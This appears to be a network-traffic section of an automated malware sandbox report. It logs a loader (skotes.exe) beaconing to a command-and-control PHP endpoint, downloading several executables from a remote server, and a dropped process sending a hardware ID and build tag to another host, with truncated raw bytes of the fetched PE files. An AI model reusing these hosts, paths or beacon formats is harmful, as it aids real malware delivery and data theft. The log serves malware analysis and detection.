Oct 31, 2024 05:07:08.000762939 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:08.000775099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:08.000881910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:08.000893116 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:08.000904083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:08.000924110 CET	1236	IN	Data Raw: 06 89 67 76 b9 f7 0c eb 26 e6 58 72 32 a8 d7 46 d7 6d cc c3 8f c6 47 e3 61 8e 2d e2 b1 f4 81 e1 21 f4 8e d4 0c a4 8b 2f b5 c9 69 54 88 01 cb 6a 5c 4d dc a3 7a 0e 4f 8a 70 84 8c 03 83 85 b3 3b 5a c6 84 91 fd 45 5c 02 dc f5 34 38 e4 ac fd 8d 8d b0 Data Ascii: gv&Xr2FmGa-!/iTj\MzOp;ZE\48m/u\|E.xR+u=1*!$%DvwNRbUOX{jYh)p1.Vs{}tq@lk%>sLG-sEF$wULDD)#u+V
Oct 31, 2024 05:07:08.000936031 CET	1236	IN	Data Raw: 0f d1 54 f5 b5 36 1e fd 77 b1 c5 20 0e eb 07 55 06 d7 fd 57 76 e0 eb be b4 3b 6c ca 12 39 67 3d 68 76 0a ff 04 4c 8a f7 83 4f 9b ce 13 a7 72 06 77 80 93 1f da 76 d6 d3 2e 35 c2 d4 90 56 ee a2 77 06 8c 6c c7 db 4a b8 0f 6b c3 94 09 fc da 17 6a 93 Data Ascii: T6w UWv;l9g=hvLOrwv.5VwlJkj+uT7. 7R5dWw_+kY>AlH:<cvk\tG"dq!Qx;6r<YzUnYeSR x;0mjdL(
Oct 31, 2024 05:07:08.000950098 CET	1236	IN	Data Raw: 0c 98 89 77 6b 84 72 30 ae 65 e0 2e 8f fa fe f3 8a 52 18 88 7d 34 aa 5f 5c 70 1e 3b 76 5f 5d 9c c1 27 4a 3d 75 59 7c 9d 37 81 8c f0 11 84 26 5a 17 77 2b ed a1 85 25 77 74 fa fa d9 f5 7c f8 31 b7 78 da 13 98 89 4f 97 2b 39 26 3d d2 fd be ca 09 87 Data Ascii: wkr0e.R}4_\p;v_]'J=uY\|7&Zw+%wt\|1xO+9&=-T'?E0\|zg0EYXxWq~+9bQsqv:-xBu}[OWJzWk6,/THZ{N(VDDEYs}$kp
Oct 31, 2024 05:07:08.000962019 CET	848	IN	Data Raw: 4c f2 97 29 3e 0e 7c 92 8d ba 1e eb 3f 04 7b 22 86 5c ee 6b 9c 88 0d f2 f1 e1 6c b4 e5 08 3c 46 e5 a1 6b 5b 9c 7f a5 25 b3 fa fd 5d bf 95 ad c7 b6 a5 3e 2c 19 96 86 8a f8 8d c3 85 4e 04 59 21 12 e7 83 3d ca fd 66 bf f9 a1 14 33 45 ad 68 cd 61 5f Data Ascii: L)>\|?{"\kl<Fk[%]>,NY!=f3Eha_{xeU8$C$!Zgpn[.mIdKFTo0l}eM=<wC&t6nl"KmV,]bSz5al~#
Oct 31, 2024 05:07:08.006392956 CET	1236	IN	Data Raw: 99 ec f6 0f 37 dc 2f 47 62 3f fa 4a 16 74 48 97 f1 01 fc 43 f9 84 f3 63 b8 7b 82 9f c3 e2 32 e5 f1 2e 0f b2 81 8f 67 f6 03 e9 5e c9 bc 52 1c 85 22 a1 c7 ff 9d b2 b7 84 75 01 a4 9d 31 65 e4 95 bb 5d 2f 80 96 b6 db f3 7c 2f 87 fa 46 f9 db da 67 fa Data Ascii: 7/Gb?JtHCc{2.g^R"u1e]/\|/Fgy/]mZ`nS*=>jpr\2p,plm<_$.LZ(b~se5$VMyR=ro^<T^42lVo@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49845	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:15.000420094 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002784001&unit=246122658369
Oct 31, 2024 05:07:15.905448914 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49851	185.215.113.16	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:15.912616014 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 05:07:16.825654030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:16 GMT Content-Type: application/octet-stream Content-Length: 2120192 Last-Modified: Thu, 31 Oct 2024 04:05:01 GMT Connection: keep-alive ETag: "672301ed-205a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 00 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 72 00 00 04 00 00 42 62 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@0rBb @P.d. p.v@.rsrc .@.idata .@ ).@lvyqwrnu@X@fslmoltpq2 @.taggant0r"8 @
Oct 31, 2024 05:07:16.825676918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:16.825695038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:16.825707912 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:16.825728893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:16.825743914 CET	112	IN	Data Raw: 9a 1c fd 68 ba e5 c4 4f 2a a3 f5 3f 81 df fa cc 66 4c 7b db 05 e4 71 24 41 f4 bd ae 29 d5 f4 cc 21 98 57 9c 29 70 fd d8 21 98 91 8a 29 70 fd e4 21 99 cb 78 29 51 73 d0 f5 1c 3b d1 09 d7 f2 28 b4 f5 1a 0e 7e 99 07 7f f1 7e fc cd 13 c8 31 de cf e8 Data Ascii: hO?fL{q$A)!W)p!)p!x)Qs;(~~1I`"HpD0
Oct 31, 2024 05:07:16.825756073 CET	1236	IN	Data Raw: b2 34 15 29 94 6d 79 d7 97 00 52 1d db d2 df 1b 45 79 be 11 9e dd 02 75 e6 f3 f4 da 10 99 ef f3 21 d4 f3 a9 e7 56 22 f1 4f 59 46 11 bb d6 c9 7e 0d 6f 22 4b da f8 2d e3 ff e8 fd a1 29 e4 20 49 cc 38 2d e3 c0 f4 c7 01 00 fc a4 af ce 21 9d d9 d7 59 Data Ascii: 4)myREyu!V"OYF~o"K-) I8-!Y"rsSiW>$F \SN+Pdhb~ ]M^pjQctcT5Q"D33Xr&E4zFbKZZ#Fm&t}X+hS-Z'E
Oct 31, 2024 05:07:16.825767994 CET	1236	IN	Data Raw: be e1 ea 74 44 21 b0 c4 1c 15 93 da da 5d e3 02 26 29 2e 42 ad 82 6f 44 0e 7c 40 d3 36 6a fc 02 ba e1 c6 c1 5e da 40 d1 af 7b ed 4a 19 bc ed 1a 44 cb 46 fe a8 58 5d 36 a8 3c 5e e1 58 83 af 2b e3 34 df f2 93 56 a7 20 a8 12 1e d7 48 26 ec c4 db eb Data Ascii: tD!]&).BoD\|@6j^@{JDFX]6<^X+4V H&y4:;/%m-?* -VMF_~Vz5C4mDv$a0"g1n9&.\D-MY
Oct 31, 2024 05:07:16.825782061 CET	224	IN	Data Raw: ba f0 e4 d9 3c b8 39 99 07 fc 7d da cd dc 6a 4f d8 7c 01 e1 39 f4 f5 02 02 f7 51 4a 36 3e 76 32 26 1b f6 88 da 30 4f e1 26 38 8d c9 51 58 24 04 14 58 53 d4 d7 9c fe 9c a7 fe bb 65 db 99 cd c9 ae d0 21 d2 06 68 49 12 c8 dc 03 d4 b1 80 21 b9 af 36 Data Ascii: <9}jO\|9QJ6>v2&0O&8QX$XSe!hI!6y:h^(!/lHmGj\\q?q; `i\?6'lX-$X$(Ni7Qp!nE
Oct 31, 2024 05:07:16.825792074 CET	1236	IN	Data Raw: 17 ed 76 de 72 43 15 ff 5d fc 24 da a6 55 a7 61 c8 18 b5 e3 7d e7 b8 33 8a a0 7a 12 8e ed d5 ea a7 23 15 c5 05 85 ac 49 b6 fd 70 fd ae f7 12 58 16 36 10 19 1a ed 4c e3 b2 0d 51 03 fa ef 1e 51 9a ed 80 e3 99 0d b1 ca b5 77 9d 62 af a4 e5 ab dc eb Data Ascii: vrC]$Ua}3z#IpX6LQQwb\7hoC*DutkzU$[\.Jtx)kJgI#kms(LWre#Kl(\Arda4?Fd;^-d`'N]
Oct 31, 2024 05:07:16.830651045 CET	1236	IN	Data Raw: 8a 9e a5 da a5 ac 65 52 7a fc 7f 20 be bc f6 02 92 f7 54 53 3e 87 38 d2 a5 0e 17 e1 59 33 83 da ee 0c 61 89 d0 1c f6 d1 db b0 ee 2f be ec bd 42 af 30 e5 ed 23 c6 4b 7a 2d 68 55 da b6 64 ee d4 60 b0 8e c2 3d 16 f6 74 a6 cf e9 4c e0 7c 0f 9d 56 58 Data Ascii: eRz TS>8Y3a/B0#Kz-hUd`=tL\|VX$^(,pMsAG7Z9[X49]AlQ\|\|,??FXx^\a0^Nudb+/IJL X1 H2>PX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49907	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:24.628185034 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002785001&unit=246122658369
Oct 31, 2024 05:07:25.546912909 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49913	185.215.113.16	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:25.566235065 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 05:07:26.482894897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:26 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 31 Oct 2024 02:58:24 GMT Connection: keep-alive ETag: "6722f250-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 f2 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELH"g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 31, 2024 05:07:26.482949018 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 31, 2024 05:07:26.483092070 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 31, 2024 05:07:26.483144999 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 31, 2024 05:07:26.483166933 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Oct 31, 2024 05:07:26.483185053 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Oct 31, 2024 05:07:26.483200073 CET	848	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Oct 31, 2024 05:07:26.483223915 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Oct 31, 2024 05:07:26.483238935 CET	1236	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
Oct 31, 2024 05:07:26.483256102 CET	424	IN	Data Raw: c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 Data Ascii: U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]U
Oct 31, 2024 05:07:26.488609076 CET	1236	IN	Data Raw: 24 c7 49 00 68 d4 ca 49 00 ff 15 20 c7 49 00 83 3d 90 19 4d 00 00 a3 28 25 4d 00 75 d3 ff 15 1c c7 49 00 a3 90 19 4d 00 eb c6 ff 75 0c 51 51 56 b9 90 19 4d 00 e8 0c 00 00 00 eb b4 6a 00 ff 15 14 c7 49 00 eb aa 55 8b ec 83 ec 3c 53 56 57 6a 2c 8d Data Ascii: $IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49925	185.215.113.206	80	2148	C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:26.958954096 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 05:07:27.888369083 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 05:07:27.891496897 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="build"tale------DAAFIIJDAAAAKFHIDAAA--
Oct 31, 2024 05:07:28.177061081 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49943	185.215.113.16	80	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:29.753505945 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 05:07:30.667145967 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:30 GMT Content-Type: application/octet-stream Content-Length: 2809344 Last-Modified: Thu, 31 Oct 2024 02:58:51 GMT Connection: keep-alive ETag: "6722f26b-2ade00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +&+`Ui` @ @.rsrc`2@.idata 8@ucxgvins\|:@nulvttal +@.taggant@@+"@
Oct 31, 2024 05:07:30.667179108 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:30.667185068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:07:30.667192936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
